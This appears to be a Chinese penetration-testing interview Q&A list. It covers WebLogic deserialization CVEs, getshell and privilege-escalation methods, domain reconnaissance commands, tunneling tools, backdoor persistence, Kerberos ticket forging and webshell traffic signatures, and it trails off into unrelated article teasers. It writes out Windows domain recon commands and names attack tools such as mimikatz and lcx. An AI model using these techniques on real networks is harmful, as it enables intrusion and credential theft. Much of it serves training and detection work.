1.#CVE-2016-0638 Weblogic直接反序列化 基于Weblogict3协议引起远程代码执行的反序列化漏洞漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐 2.#CVE-2016-3510 基于Weblogict3协议引起远程代码执行的反序列化漏洞3.#CVE-2017-3248 基于Weblogict3协议引起远程代码执行的反序列化漏洞属于WeblogicJRMP反序列化 4.#CVE-2018-2628 基于Weblogict3协议引起远程代码执行的反序列化漏洞属于WeblogicJRMP反序列化 5.#CVE-2018-2893 基于Weblogict3协议引起远程代码执行的反序列化漏洞实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于WeblogicJRMP反序列化
103-weblogic权限绕过
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic管理控制台。攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面,访问后台后是一个低权限的用
户,无法安装应用, 也无法直接执行任意代码。
允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个HTTP
请求在远程Weblogic 服务器上以未授权的任意用户身份执行命令。#漏洞利用第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession 第二种方法是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplic
104-常见的中间件及漏洞
1、Tomcat端口8080远程代码执行war后门文件部署 2、WebLogic端口7001反序列化漏洞任意文件上传war后门文件部署3、Apache 端口号80 解析漏洞目录遍历4、Nginx文件解析 目录遍历 目录穿越5、jBoss反序列化漏洞-未授权访问6、IIS 解析漏洞-远程代码执行
105-常见的解析漏洞有哪些
apache IIS nginx
106-常见的框架漏洞有哪些
struct2框架spring框架 Django框架
107-常见的逻辑漏洞有哪些
身份验证漏洞 权限类逻辑漏洞(水平,垂直,未授权)图形验证码漏洞 找回密码逻辑漏洞 业务数据篡改漏洞
108-后台getshell的方法有哪些?
webshell路径直接上传 数据库备份getshell 修改网站上传类型配置拿webshell 执行sql语句写入webshell 通过数据库拿webshell 命令执行拿webshell phpmyadmin写sehll
109-拿到webshell不出网情况下怎么办
110-常见的提权的方法
sudo和suid提权rbash绕过内核提权计划任务 passwd和shadow
Windows内核溢出漏洞提权 Windows系统配置错误提权 Windows组策略首选项提权(SYSVOL/GPP)绕过UAC提权 令牌窃取
mof提权 利用UDF提权反弹端口连接提权
xp_cmdshell提权sp_oacreate提权
111-内网的信息收集技术
网络配置 ipconfig/all操作系统 systeminfo|findstr/B/C:"OS名称"/C:"OS版本"软件信息 systeminfo|findstr/B/C:"OSName"/C:"OSVersion" 服务信息 wmic/namespace:\root\securitycenter2pathantivirusproductGETdisplayName,productState,pathToSignedProductExe用户列表 netuser 本地管理员信息 netlocalgroupadministrators 端口信息 netstat–ano 补丁信息 wmicqfegetCaption,Description,HotFixID,InstalledOn 查防火墙 netshfirewallshowconfig
*是否有域
使用ipconfig/all命令可以查看网关IP地址、DNS的IP地址以及判断当前主机是否在域内:通过反
向解析查询命令nslookup来解析域名的IP地址,使用解析出来的IP地址进行对比,判断域控制器和 DNS服务器是否在同一台服务器上登录域信息netconfigworkstation 域内信息收集 ICMP探测内网for/L%Iin(1,1,254)DO@ping-w1-n1192.168.174.%I|findstr"TTL="ARP探测内网 端口信息收集 查询域信息netview/domain 查询域主机netview/domain:XXX查询域用户 net group /domain查找域控Nslookup-type=SRV_ldap._tcp nettime/domain netgroup"DomainControllers"/domain查域用户信息netuser/domain 查询域管理员netgroup"DomainAdmins"/domain 查询域sid信息whoami/all
112-常见的内网隧道技术有哪些?
隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负
载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发
送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。
网络层:Ipv6情况、icmp情况、Gre隧道0
传输层:Tcp隧道、udp隧道常规端口转发·
应用层:ssh隧道、http隧道、https隧道、dns隧道
FRPEWnetshNeo-reGeorgLcx
115-介绍几种权限维持的方法
匿名用户 PHP内存型木马Shift后门 放大镜后门.user.ini文件构成的PHP后门注册表开机自动启动项 DLL劫持 计划任务
116-内网黄金票据、白银票据的区别和利用方法
#白银票据:
抓取到了域控服务hash的情况下,在客户端以一个普通域用户的身份生成TGS票据,并且是针对于
某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。#黄金票据:
直接抓取域控中账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有
服务。 通过mimkatz执行,导出域控中账号的Hash
118-冰蝎哥斯拉流量特征
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。
冰蝎的通信过程可以分为两个阶段:密钥协商加密传输
默认Accept字段的值很特殊,而且每个阶段都一样冰蝎内置了十余种UserAgent,每次连接
shell会随机选择一个进 行使用。但都是比较老的,r容易被检测到,但是可以在burp中修改ua头。 Content-Length:16,16就是冰蝎2连接的特征
冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了
动态密钥获取; php抓包看包没有发现什么特征,但是可以发现它是POST请求的 1)Accept头有application/xhtml+xmlapplication/xmlapplication/signed-
exchange属于弱特征2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。
现实生活中很少有人使用,所以这个也可以作为waf规则特征 jsp抓包特征分析Content-Type:application/octet-stream这是一个强特征查阅资料可知
octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交
一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组);很少使用。
是一个基于流量、HTTP全加密的webshell管理工具相对于蚁剑,冰蝎;哥斯拉具有以下优点。全
部类型的shell均过市面所有静态查杀流量加密过市面全部流量wafGodzilla自带的插件是冰蝎、蚁剑不能比拟的
119-hash和ntml hash的区别
NTLMHash(NTLANManager)是支持NetNTLM认证协议及本地认证过程中的一个重要参数。其长
度为32位,由数字与字母组成。它的前身是LMHash,目前基本淘汰,两者相差不大,只是使用的加密
算法不同。· ntmlhash生成方式
将明文口令转换成十六进制的格式
转换成Unicode格式,即在每个字节之后添加0x00
123-psexec和wmic的区别
psexec会记录大量日志,wmic不会记录下日志。
125-内存马如何进行排查
#1php内存马的流程: 1.将携带循环生成木马的命令脚本上传至目标服务器 2.删除文件本身 3.让其以隐藏文件的方式,死循环创建文件,并向文件中写入木马
1.重启php服务器,(serviceapache2restart) 2.强行kill后台进程psaux|grepwww-data|awk'{print$2}'|xargs kill-9 3.while循环写脚本while:;dorm-rfxxx;done 4.建立一个和不死马相同名字的文件或者目录,不断竞争写入一个和不死马同名的文件
128-dll劫持原理
DLL(DynamicLinkLibrary)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在
Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用
多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
在程序与正常dll之间放置一个恶意的DLL,让程序加载恶意的DLL,该DLL的导出函数与正常函数表示一
致,当程序需要调用目标DLL中的某一个函数时,由恶意的DLL去目标对应的DLL函数
129-redi利用方法
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。服务端存
在.ssh目录并且有写入的权限
这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下: 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/
cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(roo
t)INSECUREMODE(mode0600expected),而Centos的定时任务文件/var/spool/cron/<u
sername>权限644也能执行因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Cent
os上不会报错然后由于系统的不同,crontrab定时文件位置也会不同
130-目标站无防护,上传图片可以正常访问,上传脚本格式访问则403什么原因
有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过
相关文章:
HVV蓝队初级面试总结
一、技术面: 1-SQL注入原理 1-WEB应用程序对用户输入的数据 2-没有过滤或者过滤的不严谨 3-并且把用户输入的数据当作SQL 语司 4-带入到数据中去执行2-SQL注入分类 1-回显型 2-无回显型/盲注1-联合查询注入unionselect 2-堆叠注入; 3-报错注入upda…...
C++八股——函数对象
文章目录 一、仿函数二、Lambda表达式三、bind四、function 一、仿函数 仿函数:重载了操作符()的类,也叫函数对象 特征:可以有状态,通过类的成员变量来存储;(有状态的函数对象称之为闭包) 样…...
Typora自动对其脚注序号
欢迎转载,但请标明出处和引用本文地址 Markdown中的脚注 脚注引用:[^2] 脚注定义:[^2]: xxxxxxx 问题:脚注需要 使用者自己定义排序。写作过程中,在文章最前面引用脚注序号,需要递增其后所有的脚注引用&…...
【Android】cmd命令
Android中cmd命令可以用来向binder服务发送命令,来进行相关调试, 其实现原理是调用binder服务的command接口 frameworks/native/cmds/cmd/cmd.cpp 209 Vector<String16> args; 210 for (int i2; i<argc; i) { 211 args.add(Stri…...
【入门】打印字母塔
描述 输入行数N,打印图形. 输入描述 输入只有一行,包括1个整数。(N<15) 输出描述 输出有N行. #include <bits/stdc.h> using namespace std; int main() { char t;int n,f;cin>>n;for(int i1;i<n;i){tchar(65i);for(int j1;j<n-i;j){cout…...
基于OpenCV的人脸识别:LBPH算法
文章目录 引言一、概述二、代码实现1. 代码整体结构2. 导入库解析3. 训练数据准备4. 标签系统5. 待识别图像加载6. LBPH识别器创建7. 模型训练8. 预测执行9. 结果输出 三、 LBPH算法原理解析四、关键点解析五、改进方向总结 引言 人脸识别是计算机视觉领域的一个重要应用&…...
opencascade.js stp vite webpack 调试笔记
Hello, World! | OpenCascade.js cnpm install opencascade.js cnpm install vite-plugin-wasm --save-dev 当你不知道文件写哪的时候trae还是有点用的 ‘’‘ import { defineConfig } from vite; import wasm from vite-plugin-wasm; import rollupWasm from rollup/plugi…...
使用go开发安卓程序
因为使用传统的安卓开发方式对于非专业人士来说比较繁琐,所以这里想用go简单的开发一下安卓程序。go支持安卓的项目就叫gomobile,有写安卓库文件和安卓程序两种方式,写安卓程序只能使用OPENGL画图。 一、安装步骤 参考文档:用Go…...
嵌入式中屏幕的通信方式
LCD屏通信方式详解 LCD屏(液晶显示屏)的通信方式直接影响其数据传输效率、显示刷新速度及硬件设计复杂度。根据应用场景和需求,LCD屏的通信方式主要分为以下三类,每种方式在协议类型、数据速率、硬件成本及适用场景上存在显著差异…...
常见的 DCGM 设备级别指标及其含义
前言 在大规模 GPU 集群运维与性能调优中,精准、全面地了解每块显卡的运行状态和健康状况至关重要。NVIDIA 数据中心 GPU 管理 (DCGM) 提供了一系列关键指标,用于监控显存错误、硬件利用率、温度、能耗以及互联带宽等多维度信息。通过对这些指标的持续采…...
基于zernike 拟合生成包裹训练数据-可自定义拟合的项数
可以看到拟合误差其实还是有很多的,但是这个主要是包裹噪声产生的,用到了github 上的zernike 库,直接pip install 一下安装就可以了 import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Axes3D import matpl…...
基于多层权重博弈与广播机制的仿生类脑 AI 决策框架
Layered Weighted Consensus and Broadcasting AI Architecture (LWCBA) 前言 本框架模仿人脑的工作机制,模拟人脑对条件反射,本能,道德伦理,理性分析,等事件处理及决策博弈机制。 基本原则和特点 底层-中层-高层的…...
欧拉路与欧拉回路(模板)
欧拉路得判别法: 欧拉回路:我们先记录一下所有点得度数,然后拿并查集判断一下连通性,如果有解得话,我们从奇数个得点开始遍历,一直遍历到不能遍历为止,然后逆序输出得路径就是欧拉回路 P7771 【…...
HttpServletResponse的理解
HttpServletResponse 是 Java Servlet API 提供的一个接口 常用方法 方法用途setContentType(String type)设置响应内容类型(如 "application/json"、"text/html")setStatus(int sc)设置响应状态码(如 200、404&#x…...
用一张网记住局域网核心概念:从拓扑结构到传输介质的具象化理解
标题: 用一张网记住局域网核心概念:从拓扑结构到传输介质的具象化理解 摘要: 本文通过"一张网"的类比,将计算机网络中抽象的局域网技术概念转化为日常生活中可感知的网结与绳子模型,帮助读者轻松理解网络拓…...
Linux 进程控制 基础IO
Linux 进程控制学习笔记 本节重点 学习进程创建:fork() / vfork()学习进程等待学习进程程序替换:exec 函数族,微型 shell 实现原理学习进程终止:认识 $? 一、进程创建 1. fork() 函数初识 在 Linux 中,fork() 函…...
三、Hive DDL数据库操作
在 Apache Hive 中,数据库 (Database),有时也被称为模式 (Schema),是组织和管理 表及其他对象的基本命名空间单元。熟练掌握数据库层面的数据定义语言 (DDL) 操作,是构建清晰、有序的 Hive 数据仓库的第一步。本篇笔记将详细梳理 …...
C++ string初始化、string赋值操作、string拼接操作
以下介绍了string的六种定义方式,还有很多,这个只是简单举例 #include<iostream>using namespace std;int main() {//1 无参构造string s1;cout << s1 << endl;//2 初始化构造string s2 ({h, h, l, l, o});cout << s2 <<…...
java.util.Timer
知识点详细说明 java.util.Timer 是Java早期提供的定时任务调度工具,用于在指定延迟后或按固定间隔执行任务。以下是其核心知识点: 1. 核心组成 Timer类:负责调度任务,内部维护一个任务队列和后台线程。TimerTask类:抽象类,需继承并实现run()方法定义任务逻辑。2. 核心方…...
SQlite数据库
介绍 基本信息:是一款轻量级的嵌入式关系型数据库管理系统。 主要特点:SQLite的源码是C语言,其源代码完全开发,SQLite第一个Alpha版本诞生于2000年5月,他是一个轻量级的嵌入式数据库。零配置,无需安装和配…...
什么是 ANR 如何避免它
一、什么是 ANR? ANR(Application Not Responding) 是 Android 系统在应用程序主线程(UI 线程)被阻塞超过一定时间后触发的错误机制。此时系统会弹出一个对话框提示用户“应用无响应”,用户可以选择等待或强…...
当虚拟吞噬现实——《GTA6》结合技术
标题:当虚拟吞噬现实——《GTA6》的万言书:一部数字文明的启示录 (万字深度解析,拆解技术、叙事与社会学的三重革命) 一、序章:游戏史的奇点时刻 1. 从像素暴动到文明模拟:G…...
pandas读取pymysql和解析excel的一系列问题(版本不匹配)
pandas读取pymysql和解析excel的一系列问题,大部分都是版本不匹配导致的 尤其是pandas,numpy,pymysql,openpyxl不匹配导致 from sqlalchemy import create_engine import numpy as np import pandas as pd conncreate_engine("mysqlpymysql://user:passhost:3…...
【安装配置教程】ubuntu安装配置Kodbox
目录 一、引言 二、环境配置 1. 服务器配置 2. 必备组件 三、安装基础环境 1. 安装 PHP 8.1 及扩展 2. 安装 MySQL 数据库 3.安装 Redis(可选,提升缓存性能) 4. 配置nginx文件 4.1. 创建 Kodbox 站点目录 4.2. 编写 Ng…...
模型过拟合是什么?
模型过拟合的详细解析 一、定义与本质 过拟合(Overfitting)是机器学习与统计学中的核心问题,指模型在训练数据上表现优异,但在未见过的新数据(如测试集或实际应用数据)上泛化能力显著下降的现象。其本质在于模型过度捕捉了训练数据中的噪声、随机波动或非典型细节,而非…...
服务器mysql连接我碰到的错误
搞了2个下午,总算成功了 我在服务器上使用docker部署了java项目与mysql,但mysql连接一直出现问题 1.首先,我使用的是localhost连接,心想反正都在服务器上吧。 jdbc:mysql://localhost:3306/fly-bird?useSSLfalse&serverTime…...
数电课设·交通信号灯(Quartus Ⅱ)
远书归梦两悠悠,只有空床敌素秋。 阶下青苔与红树,雨中寥落月中愁。 ————《端居》 【唐】 李商隐 目录 交通信号灯 要点剖析: 端口说明: 代码展示:&…...
单片机-STM32部分:13、PWM
飞书文档https://x509p6c8to.feishu.cn/wiki/NjhuwbVP7iaEOikVK95cmJNLnWf PWM(Pulse Width Modulation)脉冲宽度调制,是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术。它是把每一脉冲宽度均相等的脉冲列作为PWM波形&am…...
HTTP 错误状态码以及常用解决方案
以下是常见 HTTP 错误状态码及其解决方案的对比表格,按客户端(4xx)和服务端(5xx)分类: HTTP 错误码对比表 一、客户端错误(4xx) 状态码含义常见原因解决方案400Bad Request请求参…...
巧用promise.race实现nrm镜像源切换----nbsl
今天是母亲节祝全天的母亲节日快乐奥 引言 在复习Promise知识点时,发现Promise.race在实际开发中应用较少,于是深入思考了它的应用场景。最近使用nrm(npm镜像源切换工具)时,想到每次都需要手动切换镜像源来测试哪个更…...
Python基础语法(中)
顺序语句 默认情况下,Python的代码执行顺序是从上往下执行的。 形如下面这样的代码,执行的结果只能是123,而不是321 print(1) print(2) print(3) 条件语句 Python 中使用 if else 关键字表示条件语句 (1)if if e…...
【Part 2安卓原生360°VR播放器开发实战】第四节|安卓VR播放器性能优化与设备适配
《VR 360全景视频开发》专栏 将带你深入探索从全景视频制作到Unity眼镜端应用开发的全流程技术。专栏内容涵盖安卓原生VR播放器开发、Unity VR视频渲染与手势交互、360全景视频制作与优化,以及高分辨率视频性能优化等实战技巧。 📝 希望通过这个专栏&am…...
java笔记06
TreeMap的基本使用 TreeMapTreeMap 跟 TreeSet 底层原理一样,都是红黑树结构的。由键决定特性:不重复、无索引、可排序可排序:对键进行排序。注意:默认按照键的从小到大进行排序,也可以自己规定键的排序规则 代码书写…...
Problem E: 实现冒泡排序(内存优化)
1.题目描述 输入任意顺序的整数序列,输出结果为从小到大的排序结果 2.输入描述 输入一个整数序列,整数之间用空格隔开,输入完最后一个整数,回车 3.输出描述 从小到大的排序结果 4.样例 提示:注意,主…...
大模型对时尚穿搭体验的革新与重塑
在大模型深度介入时尚穿搭领域后,人们的穿搭体验迎来了前所未有的变革。它不再局限于单纯提供搭配方案,而是全方位渗透进时尚穿搭的各个环节,从决策过程到实际穿着感受,都在悄然改变着人们与时尚互动的方式。 打破信息壁垒&#…...
第6讲、全面拆解Encoder、Decoder内部模块
全面拆解 Transformer 架构:Encoder、Decoder 内部模块解析(附流程图小测验) 关键词:Transformer、Encoder、Decoder、Self-Attention、Masked Attention、位置编码、残差连接、多头注意力机制 Transformer 自 2017 年诞生以来&am…...
Linux电脑本机使用小皮面板集成环境开发调试WEB项目
开发调试WEB项目,有时开发环境配置繁琐,可以使用小皮面板集成环境。 小皮面板官网: https://www.xp.cn/1.可以使用小皮面板安装脚本一键安装。登陆小皮面板管理后台 2.在“软件商店”使用LNMP一键部署集成环境。 3.添加网站,本…...
数据仓库Hive
1.数据仓库 1.1数据仓库的概念 数据仓库(Data Warehouse)是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合,用于支持管理决策。 面向主题。操作型数据库的数据组织面向事务处理任务,而数据仓库中的数据按照一定的…...
嵌入式学习笔记 - STM32 ADC,多重转换,内部参考电压,
一 多个ADC器件,多重转换速率 每个型号MCU通常由多个ADC器件,比如STM32F4有三个ADC器件,每个ADC器件有一个最大转换速率,一般为25Mhz,即一个ADC器件每秒最多转换25M次,两次转换之间需要有时间间隔…...
精读计算机体系结构基础 第三章 特权指令系统
3. 1 特权指令系统简介 想象一下,计算机就像一个大楼,而这个大楼有很多不同的楼层。每个楼层都有不同的功能和使用者。最上面的楼层是应用层,那里住着各种各样的应用程序,比如你用来写作的文字处理软件、用来浏览网页的浏览器等等…...
库室多功能控制器
应急供电保障 内置智能备电系统,市电中断时即刻无缝切换,为设备持续稳定供电,确保关键场景用电无忧。 超高性价比 集门禁、报警、环控等专业功能于一体,相比同类产品,以更优的价格提供更全面、更强大的解决方…...
使用FastAPI和React以及MongoDB构建全栈Web应用07 FastAPI实现经典三层架构
一、单文件简单实现 1.1 开发用户增删改查接口 main.py from fastapi import FastAPI, Request, Query, HTTPException from fastapi.responses import JSONResponse from motor.motor_asyncio import AsyncIOMotorClient from pydantic import BaseModel from bson import …...
《设计模式之禅》笔记
:::info 💡 根据 遗忘曲线:如果没有记录和回顾,6天后便会忘记75%的内容 读书笔记正是帮助你记录和回顾的工具,不必拘泥于形式,其核心是:记录、翻看、思考::: 书名设计模式之禅作者秦小波状态已读完简介深刻…...
JavaScript 循环语句全解析:选择最适合的遍历方式
循环是编程中处理重复任务的核心工具。JavaScript 提供了多种循环语句,每种都有其适用场景和独特优势。本文将深入解析 JavaScript 的 6 种核心循环语句,通过实际示例帮助你精准选择合适的循环方案。 一、基础循环三剑客 1. for 循环 经典索引控制 ja…...
远程服务器pycharm运行tensorboard显示训练轮次图
本文仅针对远程服务器的情况 首先在远程服务器端 首先打开xshell,然后激活自己的虚拟环境 baekee这是我的! conda activate baekee然后cd进去你运行的文件所在的目录 cd /tmp/pycharm_project_732这个项目也是我的! 然后一个很重要的事情…...
Nginx 使用 Keepalived 搭建 nginx 高可用
一、环境准备 两台装有 nginx 的 CentOS 虚拟机。 [rootnginx1 ~]# echo "192.168.40.81 say Hello" > /usr/local/nginx/html/index.html [rootnginx2 ~]# echo "192.168.40.82 say Hello" > /usr/local/nginx/html/index.html 二、原理 Keepaliv…...
A1062 PAT甲级JAVA题解 Talent and Virtue
About 900 years ago, a Chinese philosopher Sima Guang wrote a history book in which he talked about peoples talent and virtue. According to his theory, a man being outstanding in both talent and virtue must be a "sage(圣人)"…...
数据指标和数据标签
数据指标和数据标签是数据管理与分析中的两个重要概念,它们在用途、形式和应用场景上有显著区别。以下是两者的详细对比: 1. 核心定义 维度数据指标(Data Metrics)数据标签(Data Tags/Labels)定义量化衡量…...
常见的排序算法(Java版)简单易懂好上手!!
排序 “排序”顾名思义就是把乱序的变成有序的,就像我们玩斗地主这种牌类游戏时,我们拿到牌都会将牌给排序一下,更好的在对局中方便思考和观察,我们排序算法也亦是如此。 文章目录 排序一、冒泡排序二、选择排序三、插入排序四、…...
用统计零花钱的例子解释:Shuffle 是啥?
举个栗子 🌰:统计全班同学的零花钱总和 假设你是班长,全班有 4个小组,每个小组记录了自己的零花钱情况: 第1组:张三(5元)、李四(3元)、张三(2元) 第2组:王五(4元)、张三(1元)、李四(2元) …...